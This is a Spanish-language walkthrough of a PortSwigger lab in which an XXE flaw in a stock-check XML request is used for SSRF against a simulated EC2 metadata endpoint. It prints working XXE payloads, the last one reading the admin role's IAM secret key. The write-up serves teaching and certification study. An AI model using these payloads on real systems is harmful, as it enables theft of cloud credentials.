Exploiting XXE to perform SSRF attacks
Laboratorio de Portswigger sobre XXE
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio tiene una función llamada Check stock
que analiza la entrada
en formato XML
y devuelve cualquier valor inesperado en la respuesta. El servidor
del laboratorio está ejecutando un endpoint
de metadatos
de EC2 (simulado)
en la URL
predeterminada, que es [http://169.254.169.254/](http://169.254.169.254/)
. Este endpoint
puede usarse para obtener datos sobre la instancia, algunos de los cuales podrían ser sensibles. Para resolver
el laboratorio
, hay que explotar
la vulnerabilidad XXE
para llevar a cabo un ataque SSRF
que obtenga
la clave secreta
de acceso IAM
del servidor desde el endpoint
de metadatos
de EC2
Guía de XXE
Antes
de completar
este laboratorio
es recomendable leerse
esta guía de XXE
https://justice-reaper.github.io/posts/XXE-Guide/
Resolución
Al acceder
a la web
nos sale esto
Si pulsamos en View details
veremos la descripción
del artículo
Si pulsamos en Check stock
y capturamos
la petición
con Burpsuite
vemos que se está tramitando un XML
Vamos a insertar un DTD (Document Type Definition)
y a comprobar
si es vulnerable
a XXE
1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe "Doe"> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>
Obtenemos Doe
lo que quiere decir que ha funcionado y probablemente sea vulnerable
a un XXE
Con este payload
hacemos un petición al endpoint
, por lo cual estaríamos explotando un SSRF (Server Side Request Forgery)
a través de un XXE
1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>
La respuesta
del servidor
nos devuelve
el nombre
, en este caso es latest
, debemos ir haciendo peticiones hasta obtener
la ruta
del endpoint
completa
Con este nuevo payload
obtenemos la secret acces key
del usuario admin
1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>